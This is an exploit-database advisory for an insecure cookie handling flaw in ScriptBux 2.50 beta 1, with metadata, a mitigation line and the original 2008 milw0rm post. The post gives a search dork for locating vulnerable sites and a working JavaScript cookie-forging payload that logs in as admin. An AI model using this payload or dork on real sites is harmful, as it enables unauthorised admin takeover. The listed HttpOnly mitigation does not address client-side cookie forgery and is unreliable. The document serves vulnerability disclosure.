Bux.to Clone script Insecure Cookie Handling Vulnerability

vendor:

ScriptBux

by:

SirGod

7.5

CVSS

HIGH

Insecure Cookie Handling

614

CWE

Product Name: ScriptBux

Affected Version From: 2.50 beta 1

Affected Version To: 2.50 beta 1

Patch Exists: YES

Related CWE: N/A

CPE: a:scriptbux:scriptbux:2.50_beta_1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Bux.to Clone script Insecure Cookie Handling Vulnerability

A vulnerability in Bux.to Clone script allows an attacker to set arbitrary cookies by using the javascript code 'javascript:document.cookie = "loggedin=1; path=/"; document.cookie = "usNick=admin; path=/";'

Mitigation:

Ensure that cookies are set with the 'HttpOnly' flag to prevent them from being accessed by client-side scripts.

Source

Exploit-DB raw data:

#############################################################################################
[+] Bux.to Clone script Insecure Cookie Handling Vulnerability
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke,Codex
#############################################################################################

[+] Download :  http://depositfiles.com/files/6633532

[+] Dork : (c) SriptBux 2008 | Powered By ScriptBux version 2.50 beta 1

[+] Script : http://depositfiles.com/files/6633532

[+] Insecure Cookie Handling Vulnerability

javascript:document.cookie = "loggedin=1; path=/"; document.cookie =
"usNick=admin; path=/";

#############################################################################################

# milw0rm.com [2008-10-02]